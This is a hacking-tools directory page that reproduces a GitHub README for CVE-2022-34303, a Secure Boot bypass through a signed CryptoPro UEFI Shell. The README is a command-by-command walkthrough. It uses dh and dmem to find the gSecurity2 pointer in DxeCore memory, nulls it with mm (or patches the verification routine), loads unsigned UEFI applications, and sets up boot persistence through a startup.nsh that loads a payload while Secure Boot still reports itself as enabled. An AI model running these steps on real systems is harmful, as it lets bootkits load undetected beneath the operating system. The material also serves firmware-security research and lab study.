Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/themalwareguardian/cve-2022-34303
Persistence MechanismsVulnerability AnalysisExploitationReverse EngineeringHardware SecurityPapers & ResearchLearning & EducationPayload DevelopmentFirmware Analysis

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Binary Exploitation
GitHubthemalwareguardian/cve-2022-34303

CVE-2022-34303

Demonstrates CVE-2022-34303 Secure Boot bypass via CryptoPro signed UEFI Shell, using the mm command to nullify gSecurity2 and load unsigned UEFI applications.

View Repository
10h 14m agoNot yet reviewed
Share

🕷️ CVE-2022-34303 - CryptoPro Boot Loader Vulnerability

CryptoPro Secure Disk UEFI Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - Secure Boot bypass via signed UEFI Shell and gSecurity2 corruption.




📑 Table of Contents

  • Overview
  • Background
    • Bring Your Own Vulnerable UEFI Application
    • The Signed Shell
    • The Vulnerability
    • The mm Command
    • gSecurity2 and the Security Architectural Protocol
    • Parallel with Kernel BYOVD
  • How It Works
    • Phase 1 - Boot the Signed Shell
    • Phase 2 - Enumerate Security2 Protocol Handles
    • Phase 3 - Locate gSecurity2 in Memory
    • Phase 4 - Nullify gSecurity2
  • Phase 5 - Load Unsigned UEFI Applications
  • Phase 6 - Persistence via startup.nsh
  • Extra - Discovery Process
  • Exploit
  • Lab Setup
  • References



  • Overview

    This repository demonstrates the BYOVUA (Bring Your Own Vulnerable UEFI Application) technique by exploiting CVE-2022-34303, a Secure Boot bypass vulnerability in CryptoPro Secure Disk UEFI boot environment.

    In this case, the component trusted by Secure Boot is a custom shim signed by Microsoft's UEFI Third Party Certificate Authority. Once executed, this shim loads a UEFI Shell as a second stage, which exposes the mm (memory modify) command and therefore provides arbitrary memory read and write capabilities during the pre-OS boot phase.

    This primitive can then be used to locate and nullify the gSecurity2 global pointer in the DXE core. As a result, subsequent UEFI image verification is disabled, allowing unsigned UEFI applications, bootkits, to be loaded despite Secure Boot being enabled.




    Background


    Bring Your Own Vulnerable UEFI Application

    BYOVUA is the UEFI equivalent of the BYOVD (Bring Your Own Vulnerable Driver) technique used at the kernel level. Instead of bringing a signed kernel driver with a vulnerability, the attacker brings a signed UEFI application - in this case, a full UEFI Shell - that contains functionality capable of undermining Secure Boot.

    Because the application - in this case, the custom shim that loads the UEFI Shell as a second stage - is signed with a Microsoft-trusted certificate, it is accepted by Secure Boot without question, making it trusted on any system that includes this certificate in its Secure Boot database (db) - which is virtually every UEFI-capable PC shipped in the last decade. Once running, its built-in commands provide the attacker with direct hardware and memory access that operates before the operating system loads, in an environment where modern security controls (ASLR, DEP, kernel protections) simply do not exist.


    The Signed Shell

    Shell_Full.efi is a UEFI Shell distributed as part of CryptoPro Secure Disk, a pre-boot authentication and disk encryption product.

    Download Tool
    PropertyValue
    FileShell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell)
    VendorCryptoPro Secure Disk
    CVECVE-2022-34303
    SigningMicrosoft Corporation UEFI CA 2011 (Third Party)
    DiscoveryEclypsium (Mickey Shkatov, Jesse Michael) - August 2022
    PresentationDEF CON 30 - "One Bootloader to Load Them All"
    RevocationAdded to DBX via Microsoft KB5012170 (August 2022)

    The Vulnerability

    The vulnerability is not a bug - it is a design flaw. UEFI Shells are legitimate diagnostic tools that were never intended to run in Secure Boot environments. However, by signing them with a Microsoft-trusted certificate and distributing them as part of commercial products, the vendors inadvertently created a signed bypass for Secure Boot.

    The core issue: a signed binary that is trusted by Secure Boot provides unrestricted memory read/write capabilities through its built-in commands. This combination breaks the entire Secure Boot trust model.


    The mm Command

    The mm (memory modify) command is a standard UEFI Shell built-in command that provides direct read and write access to system memory. It is documented in the UEFI Shell Specification (Section 5.3).

    root@kitploit:~
    MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
    
    ParameterDescription
    AddressTarget memory address
    ValueValue to write (omit for read-only)
    -wWidth: 1, 2, 4, or 8 bytes
    -MEMSystem memory access
    -MMIOMemory-mapped I/O
    -IOI/O port access
    -nNon-interactive (no prompt for next address)

    gSecurity2 and the Security Architectural Protocol

    Secure Boot image verification in UEFI is enforced through the Security Architectural Protocols, defined in the UEFI Platform Initialization (PI) Specification.

    The DXE core (DxeMain) maintains a global pointer called gSecurity2, which points to the EFI_SECURITY2_ARCH_PROTOCOL structure. This protocol contains a single function pointer - FileAuthenticationState - which is called by LoadImage() every time a UEFI image is loaded:

    root@kitploit:~
    // EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
    typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
    	EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
    } EFI_SECURITY2_ARCH_PROTOCOL;
    
    // GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
    

    When LoadImage() is called, the DXE core checks:

    root@kitploit:~
    if (gSecurity2 != NULL)
    {
    	Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
    	);
    	if (EFI_ERROR(Status))
    	{
    		// Image rejected - signature verification failed
    	}
    }
    

    By setting gSecurity2 = NULL, the if check fails and FileAuthenticationState is never called. Image verification is completely skipped - Secure Boot remains "enabled" but is no longer enforced. Unsigned UEFI applications can then be loaded freely.

    For a deep technical understanding of this technique, including a purpose-built UEFI application that automatically locates and patches gSecurity2, see the companion project: Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption.


    Parallel with Kernel BYOVD

    The structural parallel between UEFI BYOVUA and kernel BYOVD is exact:

    root@kitploit:~
    ┌──────────────────────────────────────────────────────────────┐
    │  UEFI BYOVUA (Secure Boot Bypass)                            │
    │                                                              │
    │  Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned     │
    │  (trusted by          (Security2 Protocol)   UEFI apps       │
    │   Secure Boot)                                               │
    ├──────────────────────────────────────────────────────────────┤
    │  Kernel BYOVD (DSE Bypass)                                   │
    │                                                              │
    │  Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned   │
    │  (trusted by              (CI.dll)            kernel drivers │
    │   DSE / CI)                                                  │
    └──────────────────────────────────────────────────────────────┘
    

    Both attacks exploit the same fundamental flaw: a signed component that is trusted by a security mechanism provides the primitive needed to disable that very mechanism.




    How It Works


    Phase 1 - Boot the Signed Shell

    The signed Shell_Full.efi is placed on the EFI System Partition (ESP) and configured as a boot option. Because it is signed with a certificate chain trusted by Secure Boot, the firmware validates and loads it without issue.

    root@kitploit:~
    EFI System Partition (ESP)
    └── EFI/
        └── Boot/
        |    └── BootX64.efi (SHIM)       ← Signed by Microsoft Windows UEFI Driver Publisher
        |
        └── CPSD/
             └── Bootxsa.efi (Shell)      ← Signed by Security Coding Factory Software CA
             └── startup.nsh (Script)     ← Auto-executed on shell launch
    

    Phase 2 - Enumerate Security2 Protocol Handles

    From the UEFI Shell, the goal is to find the handle that exposes the EFI_SECURITY2_ARCH_PROTOCOL (GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68) and obtain the memory address of its protocol interface.

    Note: The command does not resolve raw GUIDs in most EDK2 Shell builds - it only recognizes registered protocol names. The approach below works on any EDK2 Shell version.

    dh -p <GUID>

    Step 1 - Find the SecurityStubDxe handle

    List all handles and look for SecurityStubDxe, which is the DXE driver that installs both Security Architectural Protocols:

    root@kitploit:~
    Shell> dh
    

    In the output, identify the handle loaded as SecurityStubDxe:

    root@kitploit:~
     10: Image(SecurityStubDxe)
    

    Step 2 - Inspect adjacent handles

    SecurityStubDxe installs the Security protocols on a separate handle, typically the one immediately after it. These handles appear empty in the short listing because the Shell cannot map their GUIDs to friendly names. Inspect them with verbose mode:

    root@kitploit:~
    Shell> dh -v 11
    

    Expected output:

    root@kitploit:~
    Handle 11 (3EFCEF18)
       A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398)
       94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
    

    If handle 0x11 does not contain these GUIDs, try 0x12 - the exact handle number varies between firmware builds.

    Step 3 - Record the interface address

    The two protocols and their interface addresses are:

    GUIDProtocolInterface Address
    A46423E3-4617-49F1-B9FF-D1BFA9115839EFI_SECURITY_ARCH_PROTOCOL (Security1)0x3EE8C398
    94AB2F58-1438-4EF1-9152-18941A3A0E68EFI_SECURITY2_ARCH_PROTOCOL (Security2)0x3EE8C3A0

    The Security2 interface address (0x3EE8C3A0 in this example) is the value stored by the gSecurity2 global pointer inside DxeMain. This value is needed for Phase 3.


    Phase 3 - Locate gSecurity2 in Memory

    The gSecurity2 variable is a global pointer inside the DXE core (DxeMain). Its value equals the protocol interface address found in Phase 2. The goal is to find the memory address where this pointer is stored - not the pointer's value, but the variable itself.

    Step 1 - Get the DXE core image layout

    root@kitploit:~
    Shell> dh -v 1
    
    root@kitploit:~
    Handle 01 (3F4ECB18)
       Image (3FEAFB08)   File:DxeCore
         ImageBase.....: 3FE94000 - 3FEBB000
         ImageSize.....: 27000
    

    Record ImageBase (0x3FE94000).

    Step 2 - Parse the PE headers to find the .data section

    The .data section contains the initialized global variables, including gSecurity2. Instead of scanning the entire image blindly, parse the PE headers to find the exact .data boundaries.

    Read the MZ header to get the PE header offset (DWORD at offset 0x3C):

    root@kitploit:~
    Shell> dmem <ImageBase> 100
    

    In the output, look at offset 0x3C from ImageBase. For example, if ImageBase is 0x3FE94000:

    root@kitploit:~
      3FE9403C: C0 00 00 00
    

    This means the PE signature is at offset 0xC0 from ImageBase.

    Step 3 - Read the section table

    The section table offset is calculated as:

    root@kitploit:~
    section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
    

    Read the COFF header to get SizeOfOptionalHeader (WORD at PE_offset + 20):

    root@kitploit:~
    Shell> dmem <ImageBase + PE_offset> 20
    

    For a PE32+ (x64) UEFI image, SizeOfOptionalHeader is typically 0xF0. In our example:

    root@kitploit:~
    section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
    

    Dump the section table (5 sections × 40 bytes = 200 bytes):

    root@kitploit:~
    Shell> dmem 3FE941C8 140
    

    Each section entry is 40 bytes:

    OffsetSizeField
    08Name (ASCII)
    84VirtualSize
    124VirtualAddress (RVA)

    Look for the .data section entry. Example output:

    root@kitploit:~
      3FE941F0: 2E 64 61 74 61 00 00 00   ← ".data"
      3FE941F8: B0 9E 00 00               ← VirtualSize = 0x9EB0
      3FE941FC: 60 AA 01 00               ← VirtualAddress (RVA) = 0x1AA60
    

    Calculate the absolute .data boundaries:

    root@kitploit:~
    data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
    data_end   = data_start + VirtualSize   = 0x3FEAEA60 + 0x9EB0  = 0x3FEB4910
    

    Step 4 - Scan .data for the interface pointer

    Search for the Security2 interface address in little-endian byte order within the .data range. For an interface address of 0x3EE8C3A0, search for:

    root@kitploit:~
    A0 C3 E8 3E 00 00 00 00
    

    Scan in 0x200-byte blocks starting from data_start:

    root@kitploit:~
    Shell> dmem 3FEAEA60 200
    Shell> dmem 3FEAEC60 200
    Shell> dmem 3FEAEE60 200
    ...
    

    Continue through the .data range until you find the byte sequence. The gSecurity (Security1) and gSecurity2 (Security2) pointers are stored consecutively, so look for both values adjacent to each other:

    root@kitploit:~
      3FEB0C08: A0 C3 E8 3E 00 00 00 00   ← gSecurity2 = 0x3EE8C3A0
      3FEB0C10: 98 C3 E8 3E 00 00 00 00   ← gSecurity  = 0x3EE8C398
    

    Tip: The .data section also contains the EFI System Table structures (IBI SYST, DXE_SERV, BOOTSERV, RUNTSERV). The security pointers are typically located after these structures. If you spot these signatures while scanning, keep going - you are getting close.

    Step 5 - Confirm the address

    Verify by reading the exact location:

    root@kitploit:~
    Shell> dmem 3FEB0C08 10
    

    Expected output:

    root@kitploit:~
      3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
    

    The address 0x3FEB0C08 is where gSecurity2 is stored - this is the target for Phase 4.


    Phase 4 - Nullify gSecurity2

    Once the address of the gSecurity2 variable is known, a single mm command disables Secure Boot verification:

    root@kitploit:~
    Shell> mm <gSecurity2_address> 0 -w 8 -MEM
    

    Note: The mm command may not accept the 0x prefix on the address argument. Use the raw hexadecimal address directly.

    Example:

    root@kitploit:~
    Shell> mm 3FEB0C08 0 -w 8 -MEM
    

    This writes 8 bytes of zeros to the gSecurity2 pointer. The DXE core will now skip all image verification checks in LoadImage().

    To verify the patch:

    root@kitploit:~
    Shell> dmem <gSecurity2_address> 10
    

    The first 8 bytes should read 00 00 00 00 00 00 00 00:

    root@kitploit:~
      3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
    

    Note that gSecurity (Security1, second qword) remains intact - only Security2 is nullified, which is sufficient to bypass LoadImage() verification.


    Phase 5 - Load Unsigned UEFI Applications

    With gSecurity2 nullified, any UEFI application can be loaded regardless of its signature status:

    root@kitploit:~
    Shell> fs1:
    fs1:\> MyUnsignedApp.efi
    

    Or using load for drivers:

    root@kitploit:~
    Shell> load fs1:\MyUnsignedDriver.efi
    

    The operating system has not started yet. Any UEFI application loaded at this point runs with full hardware access, before any OS-level security controls are initialized.


    Phase 6 - Persistence via startup.nsh

    The UEFI Shell automatically executes startup.nsh from the current directory or the ESP root on every launch. By encoding the mm patch in this script, the Secure Boot bypass executes automatically on every boot:

    root@kitploit:~
    mm <gSecurity2_address> 0 -w 8 -MEM
    load fs1:\payload.efi
    

    Example:

    root@kitploit:~
    mm 3FEB0C08 0 -w 8 -MEM
    load fs1:\payload.efi
    

    The system continues to report Secure Boot as "enabled" - only the runtime enforcement is disabled. This makes the attack invisible to OS-level Secure Boot status queries.

    Important: The gSecurity2 address (0x3FEB0C08 in this example) is specific to the firmware build. If the firmware is updated or recompiled, the address must be recalculated by repeating Phases 2 and 3.


    Extra - Discovery Process

    Finding the gSecurity2 address is firmware-specific and must be repeated whenever the firmware is updated or recompiled. The high-level process is:

    root@kitploit:~
    Step 1                             Step 2                        Step 3
    ┌─────────────────────┐    ┌──────────────────────┐    ┌──────────────────────┐
    │ dh                  │──> │ dh -v <handle>       │──> │ dh -v 1              │
    │                     │    │                      │    │                      │
    │ Find                │    │ Inspect adjacent     │    │ Get DxeMain          │
    │ SecurityStubDxe     │    │ handle for           │    │ ImageBase and        │
    │ handle number       │    │ Security2 GUID and   │    │ ImageSize            │
    │                     │    │ Interface address    │    │                      │
    └─────────────────────┘    └──────────────────────┘    └──────────────────────┘
                                                                       │
                                                                       v
    Step 6                             Step 5                        Step 4
    ┌─────────────────────┐    ┌──────────────────────┐    ┌──────────────────────┐
    │ Verify:             │ <──│ Nullify:             │ <──│ Parse PE headers,    │
    │ dmem <addr> 10      │    │ mm <addr> 0 -w 8     │    │ find .data section,  │
    │                     │    │ -MEM                 │    │ scan for Interface   │
    │ First 8 bytes       │    │                      │    │ address bytes in     │
    │ = 0x0000000000000000│    │ Secure Boot bypass   │    │ little-endian        │
    │                     │    │ active               │    │                      │
    └─────────────────────┘    └──────────────────────┘    └──────────────────────┘
    



    Exploit

    Two approaches are provided:

    Approach A - Patch FileAuthenticationState: Overwrites the first 4 bytes of the verification function with xor rax, rax; ret (48 31 C0 C3), making it return EFI_SUCCESS without performing any check. This approach uses dh, dmem, and mm commands to resolve the function pointer through the Security2 protocol interface and does not require searching DxeMain memory.

    Approach B - Nullify gSecurity2 pointer: Locates the gSecurity2 global variable inside DxeMain's .data section and writes NULL to it. This is the technique described by Eclypsium in the BombShell disclosure and implemented programmatically in the gSecurity2 Corruption repository. This approach requires parsing the PE headers of DxeMain to find the .data section boundaries, then manually scanning memory with dmem to locate the pointer address.

    Both scripts are designed to be followed step by step, with each command explained. Run them interactively first, then once the correct addresses are known for the target firmware, build a startup.nsh for automated execution on every boot.




    Lab Setup

    DBX (Forbidden Signature Database)

    The signed shell has been added to Microsoft's DBX revocation list via KB5012170 (August 2022). On updated systems, the shell will be rejected by Secure Boot.

    For the lab environment, you need a system where:

    • The DBX has not been updated with the revocation entry for this specific shell
    • Or the DBX is empty (fresh VM with default Secure Boot keys)
    • Or you use a QEMU/OVMF environment with custom Secure Boot key enrollment

    The QEMU UEFI Research Environment provides an automated setup for this.

    Alternative: Any signed UEFI shell with mm command

    The technique is not specific to Shell_Full.efi. Any UEFI Shell that exposes the mm command and is signed with a trusted certificate (Microsoft CA or OEM-specific) can be used. As documented by Eclypsium's BombShell research (October 2025), signed UEFI shells with dangerous capabilities have been found in multiple vendors' products, including Framework laptops (affecting approximately 200,000 devices).




    References

    Directly Related

    • Awesome Bring Your Own Vulnerable UEFI Application - Curated collection of known vulnerable signed UEFI applications
    • Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption - Deep technical analysis of the gSecurity2 corruption technique, including a purpose-built UEFI application that automatically locates and patches the pointer

    Eclypsium Research

    • SignedUEFIShell - Research on using signed UEFI shells for memory manipulation with .nsh scripting
    • One Bootloader to Load Them All - Original Eclypsium research disclosing CVE-2022-34301, CVE-2022-34302, CVE-2022-34303
    • DEF CON 30 - One Bootloader to Load Them All - Mickey Shkatov and Jesse Michael's presentation
    • BombShell: The Signed Backdoor Hiding in Plain Sight - October 2025 research demonstrating the mm command gSecurity2 attack on Framework laptops (200k devices affected)

    UEFI Specifications

    • UEFI Shell Specification 2.2 - Documentation for the mm and dh commands
    • EDK2 - gSecurity2 declaration (DxeMain.h) - Source code reference for the gSecurity2 global pointer
    • UEFI PI Specification - Security Architectural Protocols - Official definition of the Security2 Architectural Protocol

    Advisories

    • CERT/CC - VU#309662
    • NVD - CVE-2022-34303